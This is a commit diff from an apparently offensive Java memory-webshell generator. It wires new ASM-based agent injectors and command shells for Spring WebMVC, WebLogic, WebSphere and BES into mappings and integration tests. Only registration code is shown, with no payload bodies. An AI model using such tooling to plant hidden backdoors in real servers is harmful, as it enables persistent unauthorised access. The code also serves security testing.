Skip to content

Commit 3b74bae

Browse files
committed
feat: support other server command agent with asm (#51)
1 parent 1f232d1 commit 3b74bae

28 files changed

+615
-57
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/Server.java

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,6 @@
4040
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
4141
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
4242
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
43-
import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor;
4443
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
4544
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
4645
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
@@ -68,7 +67,7 @@ public enum Server {
6867
*/
6968
Jetty(new JettyShell()),
7069
/**
71-
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
70+
* JBoss AS 中间件JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
7271
*/
7372
JBossAS(new JbossShell()),
7473
JBossEAP6(new JbossShell()),
@@ -101,7 +100,7 @@ public enum Server {
101100
WebLogic(new WebLogicShell()),
102101

103102
/**
104-
* Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
103+
* Resin 中间件<a href="https://caucho.com/products/resin/download">Resin</a>
105104
*/
106105
Resin(new ResinShell()),
107106

@@ -223,7 +222,8 @@ public enum Server {
223222
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
224223
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
225224
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
226-
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
225+
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class)
226+
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
227227
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
228228
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
229229
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
@@ -237,7 +237,9 @@ public enum Server {
237237
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
238238
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
239239
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
240+
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
240241
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
242+
.addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
241243
.build());
242244

243245
addToolMapping(ShellTool.Suo5, ToolMapping.builder()

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -30,13 +30,16 @@ public class ShellType {
3030
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
3131
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
3232
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
33+
public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
3334
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
35+
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
3436

3537
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
3638
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
3739
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
3840
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
3941
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
42+
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
4043

4144
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
4245
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";

generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,8 @@ public InjectorMapping getShellInjectorMapping() {
2222
.addInjector(LISTENER, BesListenerInjector.class)
2323
.addInjector(VALVE, BesValveInjector.class)
2424
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
25-
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
25+
.addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class)
26+
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, BesContextValveAgentWithAsmInjector.class)
2627
.build();
2728
}
2829
}

generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
44
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
5+
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentWithAsmInjector;
56
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
67

78
import static com.reajason.javaweb.memshell.ShellType.*;
@@ -20,6 +21,7 @@ public InjectorMapping getShellInjectorMapping() {
2021
.addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
2122
.addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
2223
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
24+
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, SpringWebMvcFrameworkServletAgentWithAsmInjector.class)
2325
.build();
2426
}
2527
}

generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,6 @@
11
package com.reajason.javaweb.memshell.server;
22

3-
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector;
4-
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
5-
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
6-
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
3+
import com.reajason.javaweb.memshell.injector.weblogic.*;
74

85
import static com.reajason.javaweb.memshell.ShellType.*;
96

@@ -25,6 +22,7 @@ public InjectorMapping getShellInjectorMapping() {
2522
.addInjector(FILTER, WebLogicFilterInjector.class)
2623
.addInjector(LISTENER, WebLogicListenerInjector.class)
2724
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
25+
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class)
2826
.build();
2927
}
3028
}

generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,6 @@
11
package com.reajason.javaweb.memshell.server;
22

3-
import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterChainAgentInjector;
4-
import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterInjector;
5-
import com.reajason.javaweb.memshell.injector.websphere.WebSphereListenerInjector;
6-
import com.reajason.javaweb.memshell.injector.websphere.WebSphereServletInjector;
3+
import com.reajason.javaweb.memshell.injector.websphere.*;
74
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
85
import net.bytebuddy.asm.Advice;
96
import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -36,6 +33,7 @@ public InjectorMapping getShellInjectorMapping() {
3633
.addInjector(FILTER, WebSphereFilterInjector.class)
3734
.addInjector(LISTENER, WebSphereListenerInjector.class)
3835
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
36+
.addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class)
3937
.build();
4038
}
4139
}

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot1ContainerTest.java

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,12 @@ public class SpringBoot1ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.SpringWebMvc;
54-
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.SPRING_WEBMVC_INTERCEPTOR,
56+
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
57+
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
58+
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
59+
);
5560
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
5661
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5762
}

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -53,7 +53,12 @@ public class SpringBoot2ContainerTest {
5353

5454
static Stream<Arguments> casesProvider() {
5555
Server server = Server.SpringWebMvc;
56-
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET);
56+
List<String> supportedShellTypes = List.of(
57+
ShellType.SPRING_WEBMVC_INTERCEPTOR,
58+
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
59+
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
60+
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
61+
);
5762
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
5863
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5964
}

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -49,8 +49,10 @@ public class SpringBoot2WarContainerTest {
4949

5050
static Stream<Arguments> casesProvider() {
5151
Server server = Server.SpringWebMvc;
52-
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR,
53-
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER);
52+
List<String> supportedShellTypes = List.of(
53+
ShellType.SPRING_WEBMVC_INTERCEPTOR,
54+
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER
55+
);
5456
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
5557
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5658
}

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,12 @@ public class SpringBoot3ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.SpringWebMvc;
54-
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
56+
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
57+
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
58+
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
59+
);
5560
List<Packers> testPackers = List.of(Packers.Base64);
5661
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
5762
}

0 commit comments

Comments
 (0)